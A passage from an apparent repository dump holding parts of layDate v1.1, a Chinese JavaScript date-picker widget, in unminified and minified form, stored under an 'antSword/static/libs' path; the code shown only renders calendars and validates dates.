s.removeProperty(attr);\n    } else {\n        s.removeAttribute(attr);\n    }\n};\n\n//显示隐藏\nDates.shde = function(elem, type){\n    elem.style.display = type ? 'none' : 'block';\n};\n\n//简易选择器\nDates.query = function(node){\n    if(node && node.nodeType === 1){\n        if(node.tagName.toLowerCase() !== 'input'){\n            throw new Error('选择器elem错误');\n        }\n        return node;\n    }\n\n    var node = (Dates.trim(node)).split(' '), elemId = doc[byid](node[0].substr(1)), arr;\n    if(!elemId){\n        return;\n    } else if(!node[1]){\n        return elemId;\n    } else if(/^\\./.test(node[1])){\n        var find, child = node[1].substr(1), exp = new RegExp('\\\\b' + child +'\\\\b');\n        arr = []\n        find = doc.getElementsByClassName ? elemId.getElementsByClassName(child) : elemId[tags]('*');\n        Dates.each(find, function(ii, that){\n            exp.test(that.className) && arr.push(that); \n        });\n        return arr[0] ? arr : '';\n    } else {\n        arr = elemId[tags](node[1]);\n        return arr[0] ? elemId[tags](node[1]) : '';\n    }\n};\n\n//事件监听器\nDates.on = function(elem, even, fn){\n    elem.attachEvent ? elem.attachEvent('on'+ even, function(){\n        fn.call(elem, win.even);\n    }) : elem.addEventListener(even, fn, false);\n    return Dates;\n};\n\n//阻断mouseup\nDates.stopMosup = function(evt, elem){\n    if(evt !== 'mouseup'){\n        Dates.on(elem, 'mouseup', function(ev){\n            Dates.stopmp(ev);\n        });\n    }\n};\n\nDates.run = function(options){\n    var S = Dates.query, elem, devt, even = as.event, target;\n    try {\n        target = even.target || even.srcElement || {};\n    } catch(e){\n        target = {};\n    }\n    elem = options.elem ? S(options.elem) : target;\n\n    as.elemv = /textarea|input/.test(elem.tagName.toLocaleLowerCase()) ? 'value' : 'innerHTML';\n    if (config.init) elem[as.elemv] = laydate.now(null, options.format || config.format)\n\n    if(even && target.tagName){\n        if(!elem || elem === Dates.elem){\n            return;\n        }\n        Dates.stopMosup(even.type, elem);\n        Dates.stopmp(even);\n        Dates.view(elem, options);\n        Dates.reshow();\n    } else {\n        devt = options.event || 'click';\n        Dates.each((elem.length|0) > 0 ? elem : [elem], function(ii, that){\n            Dates.stopMosup(devt, that);\n            Dates.on(that, devt, function(ev){\n                Dates.stopmp(ev);\n                if(that !== Dates.elem){\n                    Dates.view(that, options);\n                    Dates.reshow();\n                }\n            });\n        });\n    }\n};\n\nDates.scroll = function(type){\n    type = type ? 'scrollLeft' : 'scrollTop';\n    return doc.body[type] | doc.documentElement[type];\n};\n\nDates.winarea = function(type){\n    return document.documentElement[type ? 'clientWidth' : 'clientHeight']\n};\n\n//判断闰年\nDates.isleap = function(year){\n    return (year%4 === 0 && year%100 !== 0) || year%400 === 0;\n};\n\n//检测是否在有效期\nDates.checkVoid = function(YY, MM, DD){\n    var back = [];\n    YY = YY|0;\n    MM = MM|0;\n    DD = DD|0;\n    if(YY < Dates.mins[0]){\n        back = ['y'];\n    } else if(YY > Dates.maxs[0]){\n        back = ['y', 1];\n    } else if(YY >= Dates.mins[0] && YY <= Dates.maxs[0]){\n        if(YY == Dates.mins[0]){\n            if(MM < Dates.mins[1]){\n                back = ['m'];\n            } else if(MM == Dates.mins[1]){\n                if(DD < Dates.mins[2]){\n                    back = ['d'];\n                }\n            }\n        }\n        if(YY == Dates.maxs[0]){\n            if(MM > Dates.maxs[1]){\n                back = ['m', 1];\n            } else if(MM == Dates.maxs[1]){\n                if(DD > Dates.maxs[2]){\n                    back = ['d', 1];\n                }\n            }\n        }\n    }\n    return back;\n};\n\n//时分秒的有效检测\nDates.timeVoid = function(times, index){\n    if(Dates.ymd[1]+1 == Dates.mins[1] && Dates.ymd[2] == Dates.mins[2]){\n        if(index === 0 && (times < Dates.mins[3])){\n            return 1;\n        } else if(index === 1 && times < Dates.mins[4]){\n            return 1;\n        } else if(index === 2 && times < Dates.mins[5]){\n            return 1;\n        }\n    } else if(Dates.ymd[1]+1 == Dates.maxs[1] && Dates.ymd[2] == Dates.maxs[2]){\n        if(index === 0 && times > Dates.maxs[3]){\n            return 1;\n        } else if(index === 1 && times > Dates.maxs[4]){\n            return 1;\n        } else if(index === 2 && times > Dates.maxs[5]){\n            return 1;\n        }\n    }\n    if(times > (index ? 59 : 23)){\n        return 1;\n    }\n};\n\n//检测日期是否合法\nDates.check = function(){\n    var reg = Dates.options.format.replace(/YYYY|MM|DD|hh|mm|ss/g,'\\\\d+\\\\').replace(/\\\\$/g, '');\n    var exp = new RegExp(reg), value = Dates.elem[as.elemv];\n    var arr = value.match(/\\d+/g) || [], isvoid = Dates.checkVoid(arr[0], arr[1], arr[2]);\n    if(value.replace(/\\s/g, '') !== ''){\n        if(!exp.test(value)){\n            Dates.elem[as.elemv] = '';\n            Dates.msg('日期不符合格式，请重新选择。');\n            return 1;\n        } else if(isvoid[0]){\n            Dates.elem[as.elemv] = '';\n            Dates.msg('日期不在有效期内，请重新选择。');\n            return 1;\n        } else {\n            isvoid.value = Dates.elem[as.elemv].match(exp).join();\n            arr = isvoid.value.match(/\\d+/g);\n            if(arr[1] < 1){\n                arr[1] = 1;\n                isvoid.auto = 1;\n            } else if(arr[1] > 12){\n                arr[1] = 12;\n                isvoid.auto = 1;\n            } else if(arr[1].length < 2){\n                isvoid.auto = 1;\n            }\n            if(arr[2] < 1){\n                arr[2] = 1;\n                isvoid.auto = 1;\n            } else if(arr[2] > Dates.months[(arr[1]|0)-1]){\n                arr[2] = 31;\n                isvoid.auto = 1;\n            } else if(arr[2].length < 2){\n                isvoid.auto = 1;\n            }\n            if(arr.length > 3){\n                if(Dates.timeVoid(arr[3], 0)){\n                    isvoid.auto = 1;\n                };\n                if(Dates.timeVoid(arr[4], 1)){\n                    isvoid.auto = 1;\n                };\n                if(Dates.timeVoid(arr[5], 2)){\n                    isvoid.auto = 1;\n                };\n            }\n            if(isvoid.auto){\n                Dates.creation([arr[0], arr[1]|0, arr[2]|0], 1);\n            } else if(isvoid.value !== Dates.elem[as.elemv]){\n                Dates.elem[as.elemv] = isvoid.value;\n            }\n        }\n    }\n};\n\n//生成日期\nDates.months = [31, null, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31];\nDates.viewDate = function(Y, M, D){\n    var S = Dates.query, log = {}, De = new Date();\n    Y < (Dates.mins[0]|0) && (Y = (Dates.mins[0]|0));\n    Y > (Dates.maxs[0]|0) && (Y = (Dates.maxs[0]|0));\n    \n    De.setFullYear(Y, M, D);\n    log.ymd = [De.getFullYear(), De.getMonth(), De.getDate()];\n    \n    Dates.months[1] = Dates.isleap(log.ymd[0]) ? 29 : 28;\n    \n    De.setFullYear(log.ymd[0], log.ymd[1], 1);\n    log.FDay = De.getDay();\n    \n    log.PDay = Dates.months[M === 0 ? 11 : M - 1] - log.FDay + 1;\n    log.NDay = 1;\n    \n    //渲染日\n    Dates.each(as.tds, function(i, elem){\n        var YY = log.ymd[0], MM = log.ymd[1] + 1, DD;\n        elem.className = '';\n        if(i < log.FDay){\n            elem.innerHTML = DD = i + log.PDay;\n            Dates.addClass(elem, 'laydate_nothis');\n            MM === 1 && (YY -= 1);\n            MM = MM === 1 ? 12 : MM - 1; \n        } else if(i >= log.FDay && i < log.FDay + Dates.months[log.ymd[1]]){\n            elem.innerHTML = DD = i  - log.FDay + 1;\n            if(i - log.FDay + 1 === log.ymd[2]){\n                Dates.addClass(elem, as[2]);\n                log.thisDay = elem;\n            }\n        } else {\n            elem.innerHTML = DD = log.NDay++;\n            Dates.addClass(elem, 'laydate_nothis');\n            MM === 12 && (YY += 1);\n            MM = MM === 12 ? 1 : MM + 1; \n        }\n       \n        if(Dates.checkVoid(YY, MM, DD)[0]){\n            Dates.addClass(elem, as[1]);\n        }\n        \n        Dates.options.festival && Dates.festival(elem, MM + '.' + DD);\n        elem.setAttribute('y', YY);\n        elem.setAttribute('m', MM);\n        elem.setAttribute('d', DD);\n        YY = MM = DD = null;\n    });\n    \n    Dates.valid = !Dates.hasClass(log.thisDay, as[1]);\n    Dates.ymd = log.ymd;\n    \n    //锁定年月\n    as.year.value = Dates.ymd[0] + '年';\n    as.month.value = Dates.digit(Dates.ymd[1] + 1) + '月';\n    \n    //定位月\n    Dates.each(as.mms, function(i, elem){\n        var getCheck = Dates.checkVoid(Dates.ymd[0], (elem.getAttribute('m')|0) + 1);\n        if(getCheck[0] === 'y' || getCheck[0] === 'm'){\n            Dates.addClass(elem, as[1]);\n        } else {\n            Dates.removeClass(elem, as[1]);\n        }\n        Dates.removeClass(elem, as[2]);\n        getCheck = null\n    });\n    Dates.addClass(as.mms[Dates.ymd[1]], as[2]);\n    \n    //定位时分秒\n    log.times = [\n        Dates.inymd[3]|0 || 0, \n        Dates.inymd[4]|0 || 0, \n        Dates.inymd[5]|0 || 0\n    ];\n    Dates.each(new Array(3), function(i){\n        Dates.hmsin[i].value = Dates.digit(Dates.timeVoid(log.times[i], i) ? Dates.mins[i+3]|0 : log.times[i]|0);\n    });\n    \n    //确定按钮状态\n    Dates[Dates.valid ? 'removeClass' : 'addClass'](as.ok, as[1]);\n};\n\n//节日\nDates.festival = function(td, md){\n    var str;\n    switch(md){\n        case '1.1':\n            str = '元旦';\n        break;\n        case '3.8':\n            str = '妇女';\n        break;\n        case '4.5':\n            str = '清明';\n        break;\n        case '5.1':\n            str = '劳动';\n        break;\n        case '6.1':\n            str = '儿童';\n        break;\n        case '9.10':\n            str = '教师';\n        break;\n        case '10.1':\n            str = '国庆';\n        break;\n    };\n    str && (td.innerHTML = str);\n    str = null;\n};\n\n//生成年列表\nDates.viewYears = function(YY){\n    var S = Dates.query, str = '';\n    Dates.each(new Array(14), function(i){\n        if(i === 7) {\n            str += '<li '+ (parseInt(as.year.value) === YY ? 'class=\"'+ as[2] +'\"' : '') +' y=\"'+ YY +'\">'+ YY +'年</li>';\n        } else {\n            str += '<li y=\"'+ (YY-7+i) +'\">'+ (YY-7+i) +'年</li>';\n        }\n    }); \n    S('#laydate_ys').innerHTML = str;\n    Dates.each(S('#laydate_ys li'), function(i, elem){\n        if(Dates.checkVoid(elem.getAttribute('y'))[0] === 'y'){\n            Dates.addClass(elem, as[1]);\n        } else {\n            Dates.on(elem, 'click', function(ev){\n                Dates.stopmp(ev).reshow();\n                Dates.viewDate(this.getAttribute('y')|0, Dates.ymd[1], Dates.ymd[2]);\n            });\n        }\n    });\n};\n\n//初始化面板数据\nDates.initDate = function(){\n    var S = Dates.query, log = {}, De = new Date();\n    var ymd = Dates.elem[as.elemv].match(/\\d+/g) || [];\n    if(ymd.length < 3){\n        ymd = Dates.options.start.match(/\\d+/g) || [];\n        if(ymd.length < 3){\n            ymd = [De.getFullYear(), De.getMonth()+1, De.getDate()];\n        }\n    }\n    Dates.inymd = ymd;\n    Dates.viewDate(ymd[0], ymd[1]-1, ymd[2]);\n};\n\n//是否显示零件\nDates.iswrite = function(){\n    var S = Dates.query, log = {\n        time: S('#laydate_hms')\n    };\n    Dates.shde(log.time, !Dates.options.istime);\n    Dates.shde(as.oclear, !('isclear' in Dates.options ? Dates.options.isclear : 1));\n    Dates.shde(as.otoday, !('istoday' in Dates.options ? Dates.options.istoday : 1));\n    Dates.shde(as.ok, !('issure' in Dates.options ? Dates.options.issure : 1));\n};\n\n//方位辨别\nDates.orien = function(obj, pos){\n    var tops, rect = Dates.elem.getBoundingClientRect();\n    obj.style.left = rect.left + (pos ? 0 : Dates.scroll(1)) + 'px';\n    if(rect.bottom + obj.offsetHeight/1.5 <= Dates.winarea()){\n        tops = rect.bottom - 1;         \n    } else {\n        tops = rect.top > obj.offsetHeight/1.5 ? rect.top - obj.offsetHeight + 1 : Dates.winarea() - obj.offsetHeight;\n    }\n    obj.style.top = Math.max(tops + (pos ? 0 : Dates.scroll()),1) + 'px';\n};\n\n//吸附定位\nDates.follow = function(obj){\n    if(Dates.options.fixed){\n        obj.style.position = 'fixed';\n        Dates.orien(obj, 1);\n    } else {\n        obj.style.position = 'absolute';\n        Dates.orien(obj);\n    }\n};\n\n//生成表格\nDates.viewtb = (function(){\n    var tr, view = [], weeks = [ '日', '一', '二', '三', '四', '五', '六'];\n    var log = {}, table = doc[creat]('table'), thead = doc[creat]('thead');\n    thead.appendChild(doc[creat]('tr'));\n    log.creath = function(i){\n        var th = doc[creat]('th');\n        th.innerHTML = weeks[i];\n        thead[tags]('tr')[0].appendChild(th);\n        th = null;\n    };\n    \n    Dates.each(new Array(6), function(i){\n        view.push([]);\n        tr = table.insertRow(0);\n        Dates.each(new Array(7), function(j){\n            view[i][j] = 0;\n            i === 0 && log.creath(j);\n            tr.insertCell(j);\n        });\n    });\n    \n    table.insertBefore(thead, table.children[0]); \n    table.id = table.className = 'laydate_table';\n    tr = view = null;\n    return table.outerHTML.toLowerCase();\n}());\n\n//渲染控件骨架\nDates.view = function(elem, options){\n    var S = Dates.query, div, log = {};\n    options = options || elem;\n\n    Dates.elem = elem;\n    Dates.options = options;\n    Dates.options.format || (Dates.options.format = config.format);\n    Dates.options.start = Dates.options.start || '';\n    Dates.mm = log.mm = [Dates.options.min || config.min, Dates.options.max || config.max];\n    Dates.mins = log.mm[0].match(/\\d+/g);\n    Dates.maxs = log.mm[1].match(/\\d+/g);\n    \n    if(!Dates.box){\n        div = doc[creat]('div');\n        div.id = as[0];\n        div.className = as[0];\n        div.style.cssText = 'position: absolute;';\n        div.setAttribute('name', 'laydate-v'+ laydate.v);\n        \n        div.innerHTML =  log.html = '<div class=\"laydate_top\">'\n          +'<div class=\"laydate_ym laydate_y\" id=\"laydate_YY\">'\n            +'<a class=\"laydate_choose laydate_chprev laydate_tab\"><cite></cite></a>'\n            +'<input id=\"laydate_y\" readonly><label></label>'\n            +'<a class=\"laydate_choose laydate_chnext laydate_tab\"><cite></cite></a>'\n            +'<div class=\"laydate_yms\">'\n              +'<a class=\"laydate_tab laydate_chtop\"><cite></cite></a>'\n              +'<ul id=\"laydate_ys\"></ul>'\n              +'<a class=\"laydate_tab laydate_chdown\"><cite></cite></a>'\n            +'</div>'\n          +'</div>'\n          +'<div class=\"laydate_ym laydate_m\" id=\"laydate_MM\">'\n            +'<a class=\"laydate_choose laydate_chprev laydate_tab\"><cite></cite></a>'\n            +'<input id=\"laydate_m\" readonly><label></label>'\n            +'<a class=\"laydate_choose laydate_chnext laydate_tab\"><cite></cite></a>'\n            +'<div class=\"laydate_yms\" id=\"laydate_ms\">'+ function(){\n                var str = '';\n                Dates.each(new Array(12), function(i){\n                    str += '<span m=\"'+ i +'\">'+ Dates.digit(i+1) +'月</span>';\n                });\n                return str;\n            }() +'</div>'\n          +'</div>'\n        +'</div>'\n        \n        + Dates.viewtb\n        \n        +'<div class=\"laydate_bottom\">'\n          +'<ul id=\"laydate_hms\">'\n            +'<li class=\"laydate_sj\">时间</li>'\n            +'<li><input readonly>:</li>'\n            +'<li><input readonly>:</li>'\n            +'<li><input readonly></li>'\n          +'</ul>'\n          +'<div class=\"laydate_time\" id=\"laydate_time\"></div>'\n          +'<div class=\"laydate_btn\">'\n            +'<a id=\"laydate_clear\">清空</a>'\n            +'<a id=\"laydate_today\">今天</a>'\n            +'<a id=\"laydate_ok\">确认</a>'\n          +'</div>'\n          +(config.isv ? '<a href=\"http://sentsin.com/layui/laydate/\" class=\"laydate_v\" target=\"_blank\">laydate-v'+ laydate.v +'</a>' : '')\n        +'</div>';\n        doc.body.appendChild(div); \n        Dates.box = S('#'+as[0]);        \n        Dates.events();\n        div = null;\n    } else {\n        Dates.shde(Dates.box);\n    }\n    Dates.follow(Dates.box);\n    options.zIndex ? Dates.box.style.zIndex = options.zIndex : Dates.removeCssAttr(Dates.box, 'z-index');\n    Dates.stopMosup('click', Dates.box);\n    \n    Dates.initDate();\n    Dates.iswrite();\n    Dates.check();\n};\n\n//隐藏内部弹出元素\nDates.reshow = function(){\n    Dates.each(Dates.query('#'+ as[0] +' .laydate_show'), function(i, elem){\n        Dates.removeClass(elem, 'laydate_show');\n    });\n    return this;\n};\n\n//关闭控件\nDates.close = function(){\n    Dates.reshow();\n    Dates.shde(Dates.query('#'+ as[0]), 1);\n    Dates.elem = null;\n};\n\n//转换日期格式\nDates.parse = function(ymd, hms, format){\n    ymd = ymd.concat(hms);\n    format = format || (Dates.options ? Dates.options.format : config.format);\n    return format.replace(/YYYY|MM|DD|hh|mm|ss/g, function(str, index){\n        ymd.index = ++ymd.index|0;\n        return Dates.digit(ymd[ymd.index]);\n    });     \n};\n\n//返回最终日期\nDates.creation = function(ymd, hide){\n    var S = Dates.query, hms = Dates.hmsin;\n    var getDates = Dates.parse(ymd, [hms[0].value, hms[1].value, hms[2].value]);\n    Dates.elem[as.elemv] = getDates;\n    if(!hide){\n        Dates.close();\n        typeof Dates.options.choose === 'function' && Dates.options.choose(getDates); \n    }\n};\n\n//事件\nDates.events = function(){\n    var S = Dates.query, log = {\n        box: '#'+as[0]\n    };\n    \n    Dates.addClass(doc.body, 'laydate_body');\n    \n    as.tds = S('#laydate_table td');\n    as.mms = S('#laydate_ms span');\n    as.year = S('#laydate_y');\n    as.month = S('#laydate_m');\n\n    //显示更多年月\n    Dates.each(S(log.box + ' .laydate_ym'), function(i, elem){\n        Dates.on(elem, 'click', function(ev){\n            Dates.stopmp(ev).reshow();\n            Dates.addClass(this[tags]('div')[0], 'laydate_show');\n            if(!i){\n                log.YY = parseInt(as.year.value);\n                Dates.viewYears(log.YY);\n            }\n        });\n    });\n    \n    Dates.on(S(log.box), 'click', function(){\n        Dates.reshow();\n    });\n    \n    //切换年\n    log.tabYear = function(type){  \n        if(type === 0){\n            Dates.ymd[0]--;\n        } else if(type === 1) {\n            Dates.ymd[0]++;\n        } else if(type === 2) {\n            log.YY -= 14;\n        } else {\n            log.YY += 14;\n        }\n        if(type < 2){\n            Dates.viewDate(Dates.ymd[0], Dates.ymd[1], Dates.ymd[2]);\n            Dates.reshow();\n        } else {\n            Dates.viewYears(log.YY);\n        }\n    };\n    Dates.each(S('#laydate_YY .laydate_tab'), function(i, elem){\n        Dates.on(elem, 'click', function(ev){\n            Dates.stopmp(ev);\n            log.tabYear(i);\n        });\n    });\n    \n    \n    //切换月\n    log.tabMonth = function(type){\n        if(type){\n            Dates.ymd[1]++;\n            if(Dates.ymd[1] === 12){\n                Dates.ymd[0]++;\n                Dates.ymd[1] = 0;\n            }            \n        } else {\n            Dates.ymd[1]--;\n            if(Dates.ymd[1] === -1){\n                Dates.ymd[0]--;\n                Dates.ymd[1] = 11;\n            }\n        }\n        Dates.viewDate(Dates.ymd[0], Dates.ymd[1], Dates.ymd[2]);\n    };\n    Dates.each(S('#laydate_MM .laydate_tab'), function(i, elem){\n        Dates.on(elem, 'click', function(ev){\n            Dates.stopmp(ev).reshow();\n            log.tabMonth(i);\n        });\n    });\n    \n    //选择月\n    Dates.each(S('#laydate_ms span'), function(i, elem){\n        Dates.on(elem, 'click', function(ev){\n            Dates.stopmp(ev).reshow();\n            if(!Dates.hasClass(this, as[1])){\n                Dates.viewDate(Dates.ymd[0], this.getAttribute('m')|0, Dates.ymd[2]);\n            }\n        });\n    });\n    \n    //选择日\n    Dates.each(S('#laydate_table td'), function(i, elem){\n        Dates.on(elem, 'click', function(ev){\n            if(!Dates.hasClass(this, as[1])){\n                Dates.stopmp(ev);\n                Dates.creation([this.getAttribute('y')|0, this.getAttribute('m')|0, this.getAttribute('d')|0]);\n            }\n        });\n    });\n    \n    //清空\n    as.oclear = S('#laydate_clear');\n    Dates.on(as.oclear, 'click', function(){\n        Dates.elem[as.elemv] = '';\n        Dates.close();\n    });\n    \n    //今天\n    as.otoday = S('#laydate_today');\n    Dates.on(as.otoday, 'click', function(){\n        var now = new Date();\n        Dates.creation([now.getFullYear(), now.getMonth() + 1, now.getDate()]);\n    });\n    \n    //确认\n    as.ok = S('#laydate_ok');\n    Dates.on(as.ok, 'click', function(){\n        if(Dates.valid){\n            Dates.creation([Dates.ymd[0], Dates.ymd[1]+1, Dates.ymd[2]]);\n        }\n    });\n    \n    //选择时分秒\n    log.times = S('#laydate_time');\n    Dates.hmsin = log.hmsin = S('#laydate_hms input');\n    log.hmss = ['小时', '分钟', '秒数'];\n    log.hmsarr = [];\n    \n    //生成时分秒或警告信息\n    Dates.msg = function(i, title){\n        var str = '<div class=\"laydte_hsmtex\">'+ (title || '提示') +'<span>×</span></div>';\n        if(typeof i === 'string'){\n            str += '<p>'+ i +'</p>';\n            Dates.shde(S('#'+as[0]));\n            Dates.removeClass(log.times, 'laydate_time1').addClass(log.times, 'laydate_msg');\n        } else {\n            if(!log.hmsarr[i]){\n                str += '<div id=\"laydate_hmsno\" class=\"laydate_hmsno\">';\n                Dates.each(new Array(i === 0 ? 24 : 60), function(i){\n                    str += '<span>'+ i +'</span>';\n                });\n                str += '</div>'\n                log.hmsarr[i] = str;\n            } else {\n                str = log.hmsarr[i];\n            }\n            Dates.removeClass(log.times, 'laydate_msg');\n            Dates[i=== 0 ? 'removeClass' : 'addClass'](log.times, 'laydate_time1');\n        }\n        Dates.addClass(log.times, 'laydate_show');\n        log.times.innerHTML = str;\n    };\n    \n    log.hmson = function(input, index){\n        var span = S('#laydate_hmsno span'), set = Dates.valid ? null : 1;\n        Dates.each(span, function(i, elem){\n            if(set){\n                Dates.addClass(elem, as[1]);\n            } else if(Dates.timeVoid(i, index)){\n                Dates.addClass(elem, as[1]);\n            } else {\n                Dates.on(elem, 'click', function(ev){\n                    if(!Dates.hasClass(this, as[1])){\n                        input.value = Dates.digit(this.innerHTML|0);\n                    }\n                });\n            } \n        });\n        Dates.addClass(span[input.value|0], 'laydate_click');\n    };\n    \n    //展开选择\n    Dates.each(log.hmsin, function(i, elem){\n        Dates.on(elem, 'click', function(ev){\n            Dates.stopmp(ev).reshow();\n            Dates.msg(i, log.hmss[i]);\n            log.hmson(this, i);\n        });\n    });\n    \n    Dates.on(doc, 'mouseup', function(){\n        var box = S('#'+as[0]);\n        if(box && box.style.display !== 'none'){\n            Dates.check() || Dates.close();\n        }\n    }).on(doc, 'keydown', function(event){\n        event = event || win.event;\n        var codes = event.keyCode;\n\n        //如果在日期显示的时候按回车\n        if(codes === 13 && Dates.elem){\n            Dates.creation([Dates.ymd[0], Dates.ymd[1]+1, Dates.ymd[2]]);\n        }\n    });\n};\n\nDates.init = (function(){\n    Dates.use('need');\n    Dates.use(as[4] + config.defSkin, as[3]);\n    Dates.skinLink = Dates.query('#'+as[3]);\n}());\n\n//重置定位\nlaydate.reset = function(){\n    (Dates.box && Dates.elem) && Dates.follow(Dates.box);\n};\n\n//返回指定日期\nlaydate.now = function(timestamp, format){\n    var De = new Date((timestamp|0) ? function(tamp){\n        return tamp < 86400000 ? (+new Date + tamp*86400000) : tamp;\n    }(parseInt(timestamp)) : +new Date);\n    return Dates.parse(\n        [De.getFullYear(), De.getMonth()+1, De.getDate()],\n        [De.getHours(), De.getMinutes(), De.getSeconds()],\n        format\n    );\n};\n\n//皮肤选择\nlaydate.skin = function(lib){\n    Dates.skinLink.href = Dates.getPath + as[4] + lib + as[5];\n};\n\n}(window);\n"
  },
  {
    "path": "antSword/static/libs/laydate/laydate.js",
    "content": "﻿/**\n \n @Name : layDate v1.1 日期控件\n @Author: 贤心\n @Date: 2014-06-25\n @QQ群：176047195\n @Site：http://sentsin.com/layui/laydate\n \n */\n\n;!function(a){var b={path:\"\",defSkin:\"default\",format:\"YYYY-MM-DD\",min:\"1900-01-01 00:00:00\",max:\"2099-12-31 23:59:59\",isv:!1},c={},d=document,e=\"createElement\",f=\"getElementById\",g=\"getElementsByTagName\",h=[\"laydate_box\",\"laydate_void\",\"laydate_click\",\"LayDateSkin\",\"skins/\",\"/laydate.css\"];a.laydate=function(b){b=b||{};try{h.event=a.event?a.event:laydate.caller.arguments[0]}catch(d){}return c.run(b),laydate},laydate.v=\"1.1\",c.getPath=function(){var a=document.scripts,c=a[a.length-1].src;return b.path?b.path:c.substring(0,c.lastIndexOf(\"/\")+1)}(),c.use=function(a,b){return;var f=d[e](\"link\");f.type=\"text/css\",f.rel=\"stylesheet\",f.href=c.getPath+a+h[5],b&&(f.id=b),d[g](\"head\")[0].appendChild(f),f=null},c.trim=function(a){return a=a||\"\",a.replace(/^\\s|\\s$/g,\"\").replace(/\\s+/g,\" \")},c.digit=function(a){return 10>a?\"0\"+(0|a):a},c.stopmp=function(b){return b=b||a.event,b.stopPropagation?b.stopPropagation():b.cancelBubble=!0,this},c.each=function(a,b){for(var c=0,d=a.length;d>c&&b(c,a[c])!==!1;c++);},c.hasClass=function(a,b){return a=a||{},new RegExp(\"\\\\b\"+b+\"\\\\b\").test(a.className)},c.addClass=function(a,b){return a=a||{},c.hasClass(a,b)||(a.className+=\" \"+b),a.className=c.trim(a.className),this},c.removeClass=function(a,b){if(a=a||{},c.hasClass(a,b)){var d=new RegExp(\"\\\\b\"+b+\"\\\\b\");a.className=a.className.replace(d,\"\")}return this},c.removeCssAttr=function(a,b){var c=a.style;c.removeProperty?c.removeProperty(b):c.removeAttribute(b)},c.shde=function(a,b){a.style.display=b?\"none\":\"block\"},c.query=function(a){var e,b,h,i,j;return a=c.trim(a).split(\" \"),b=d[f](a[0].substr(1)),b?a[1]?/^\\./.test(a[1])?(i=a[1].substr(1),j=new RegExp(\"\\\\b\"+i+\"\\\\b\"),e=[],h=d.getElementsByClassName?b.getElementsByClassName(i):b[g](\"*\"),c.each(h,function(a,b){j.test(b.className)&&e.push(b)}),e[0]?e:\"\"):(e=b[g](a[1]),e[0]?b[g](a[1]):\"\"):b:void 0},c.on=function(b,d,e){return b.attachEvent?b.attachEvent(\"on\"+d,function(){e.call(b,a.even)}):b.addEventListener(d,e,!1),c},c.stopMosup=function(a,b){\"mouseup\"!==a&&c.on(b,\"mouseup\",function(a){c.stopmp(a)})},c.run=function(a){var d,e,g,b=c.query,f=h.event;try{g=f.target||f.srcElement||{}}catch(i){g={}}if(d=a.elem?b(a.elem):g,f&&g.tagName){if(!d||d===c.elem)return;c.stopMosup(f.type,d),c.stopmp(f),c.view(d,a),c.reshow()}else e=a.event||\"click\",c.each((0|d.length)>0?d:[d],function(b,d){c.stopMosup(e,d),c.on(d,e,function(b){c.stopmp(b),d!==c.elem&&(c.view(d,a),c.reshow())})})},c.scroll=function(a){return a=a?\"scrollLeft\":\"scrollTop\",d.body[a]|d.documentElement[a]},c.winarea=function(a){return document.documentElement[a?\"clientWidth\":\"clientHeight\"]},c.isleap=function(a){return 0===a%4&&0!==a%100||0===a%400},c.checkVoid=function(a,b,d){var e=[];return a=0|a,b=0|b,d=0|d,a<c.mins[0]?e=[\"y\"]:a>c.maxs[0]?e=[\"y\",1]:a>=c.mins[0]&&a<=c.maxs[0]&&(a==c.mins[0]&&(b<c.mins[1]?e=[\"m\"]:b==c.mins[1]&&d<c.mins[2]&&(e=[\"d\"])),a==c.maxs[0]&&(b>c.maxs[1]?e=[\"m\",1]:b==c.maxs[1]&&d>c.maxs[2]&&(e=[\"d\",1]))),e},c.timeVoid=function(a,b){if(c.ymd[1]+1==c.mins[1]&&c.ymd[2]==c.mins[2]){if(0===b&&a<c.mins[3])return 1;if(1===b&&a<c.mins[4])return 1;if(2===b&&a<c.mins[5])return 1}else if(c.ymd[1]+1==c.maxs[1]&&c.ymd[2]==c.maxs[2]){if(0===b&&a>c.maxs[3])return 1;if(1===b&&a>c.maxs[4])return 1;if(2===b&&a>c.maxs[5])return 1}return a>(b?59:23)?1:void 0},c.check=function(){var a=c.options.format.replace(/YYYY|MM|DD|hh|mm|ss/g,\"\\\\d+\\\\\").replace(/\\\\$/g,\"\"),b=new RegExp(a),d=c.elem[h.elemv],e=d.match(/\\d+/g)||[],f=c.checkVoid(e[0],e[1],e[2]);if(\"\"!==d.replace(/\\s/g,\"\")){if(!b.test(d))return c.elem[h.elemv]=\"\",c.msg(\"日期不符合格式，请重新选择。\"),1;if(f[0])return c.elem[h.elemv]=\"\",c.msg(\"日期不在有效期内，请重新选择。\"),1;f.value=c.elem[h.elemv].match(b).join(),e=f.value.match(/\\d+/g),e[1]<1?(e[1]=1,f.auto=1):e[1]>12?(e[1]=12,f.auto=1):e[1].length<2&&(f.auto=1),e[2]<1?(e[2]=1,f.auto=1):e[2]>c.months[(0|e[1])-1]?(e[2]=31,f.auto=1):e[2].length<2&&(f.auto=1),e.length>3&&(c.timeVoid(e[3],0)&&(f.auto=1),c.timeVoid(e[4],1)&&(f.auto=1),c.timeVoid(e[5],2)&&(f.auto=1)),f.auto?c.creation([e[0],0|e[1],0|e[2]],1):f.value!==c.elem[h.elemv]&&(c.elem[h.elemv]=f.value)}},c.months=[31,null,31,30,31,30,31,31,30,31,30,31],c.viewDate=function(a,b,d){var f=(c.query,{}),g=new Date;a<(0|c.mins[0])&&(a=0|c.mins[0]),a>(0|c.maxs[0])&&(a=0|c.maxs[0]),g.setFullYear(a,b,d),f.ymd=[g.getFullYear(),g.getMonth(),g.getDate()],c.months[1]=c.isleap(f.ymd[0])?29:28,g.setFullYear(f.ymd[0],f.ymd[1],1),f.FDay=g.getDay(),f.PDay=c.months[0===b?11:b-1]-f.FDay+1,f.NDay=1,c.each(h.tds,function(a,b){var 